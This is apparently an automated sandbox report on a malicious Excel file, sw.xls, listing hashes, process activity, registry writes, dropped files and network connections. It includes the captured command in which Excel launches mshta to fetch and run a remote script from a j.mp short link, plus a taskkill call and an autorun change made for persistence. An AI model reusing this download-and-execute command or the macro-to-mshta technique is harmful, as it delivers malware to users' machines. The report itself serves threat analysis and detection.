File name:

sw.xls

Full analysis: https://app.any.run/tasks/60f5bdac-c2e4-4b8c-be14-188c2b73d0dc
Verdict: Malicious activity
Analysis date: October 14, 2019, 03:18:35
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-close
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Wed Oct 9 16:05:03 2019, Security: 0
MD5:

7356D8F8F02A7B73615D17819DD82198

SHA1:

1B7958C74E901E6BD54073ADEEE1ED3153DB4013

SHA256:

622E80137F98CF6E7BA3FEE8659753EDECC5CB0C31D05A2E88FC0CAD6C703AF9

SSDEEP:

6144:VZ+RwPONXoRjDhIcp0fDlavx+W26nAimChtenbVeCdFjAOHwv:/mCKpxjAOHq

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  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2504)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EXCEL.EXE (PID: 2504)

    • Changes the autorun value in the registry

      • mshta.exe (PID: 444)

  • SUSPICIOUS

    • Creates files in the user directory

      • mshta.exe (PID: 444)

    • Uses TASKKILL.EXE to kill Office Apps

      • mshta.exe (PID: 444)

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2504)

    • Reads internet explorer settings

      • mshta.exe (PID: 444)
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No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Author: -
LastModifiedBy: -
Software: Microsoft Excel
CreateDate: 2006:09:16 00:00:00
ModifyDate: 2019:10:09 15:05:03
Security: None
CodePage: Windows Latin 1 (Western European)
AppVersion: 12
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts:
  • Sheet1
  • Sheet2
  • Sheet3
HeadingPairs:
  • Worksheets
  • 3
CompObjUserTypeLen: 38
CompObjUserType: Microsoft Office Excel 2003 Worksheet
No data.
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Total processes
39
Monitored processes
3
Malicious processes
2
Suspicious processes
0

Behavior graph

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start excel.exe no specs mshta.exe taskkill.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
444mshta http:\\j.mp\adjg3sXAsxfsaasdiC:\Windows\system32\mshta.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mshtml.dll
c:\windows\system32\psapi.dll
2504"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2916"C:\Windows\System32\taskkill.exe" /f /im excel.exeC:\Windows\System32\taskkill.exe—mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
Total events
865
Read events
779
Write events
74
Delete events
12

Modification events

(PID) Process:(2504) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:ll`
Value:
6C6C6000C8090000010000000000000000000000
(PID) Process:(2504) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2504) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(2504) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(2504) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(2504) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(2504) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(2504) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(2504) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(2504) EXCEL.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:EXCELFiles
Value:
1330511897
Executable files
0
Suspicious files
1
Text files
11
Unknown types
1

Dropped files

PID
Process
Filename
Type
2504EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVRA8EC.tmp.cvr —
MD5:—
SHA256:—
2504EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DF51BF8CC048A33FD0.TMP —
MD5:—
SHA256:—
2504EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFBBA5440445BFE7AD.TMP —
MD5:—
SHA256:—
444mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\warning[1] —
MD5:—
SHA256:—
444mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\error[1]text
MD5:—
SHA256:—
444mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\27[1].htmlhtml
MD5:—
SHA256:—
444mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\2289495658-widgets[1].jstext
MD5:—
SHA256:—
444mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JGRR2OYX\210157244-ieretrofit[1].jshtml
MD5:—
SHA256:—
444mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\error[2]text
MD5:—
SHA256:—
444mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I0488CJO\3597120983-css_bundle_v2[1].csstext
MD5:AC004AD1EAFC60B54FED8371C9C33FBC
SHA256:869176CAB64C36F92C6C1F8FFBE85919575D6B9995A54850E5925289F3A75078
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HTTP(S) requests
1
TCP/UDP connections
6
DNS requests
4
Threats
1

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
444
mshta.exe
GET
301
67.199.248.16:80
http://j.mp/adjg3sXAsxfsaasdi
US
html
134 b
shared
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
444
mshta.exe
67.199.248.16:80
j.mp
Bitly Inc
US
shared
444
mshta.exe
172.217.23.97:443
asdiamecwecw8cew.blogspot.com
Google Inc.
US
whitelisted
444
mshta.exe
172.217.22.73:443
www.blogger.com
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
j.mp
  • 67.199.248.16
  • 67.199.248.17
shared
asdiamecwecw8cew.blogspot.com
  • 172.217.23.97
whitelisted
www.blogger.com
  • 172.217.22.73
shared
resources.blogblog.com
  • 172.217.22.73
whitelisted

Threats

PID
Process
Class
Message
444
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
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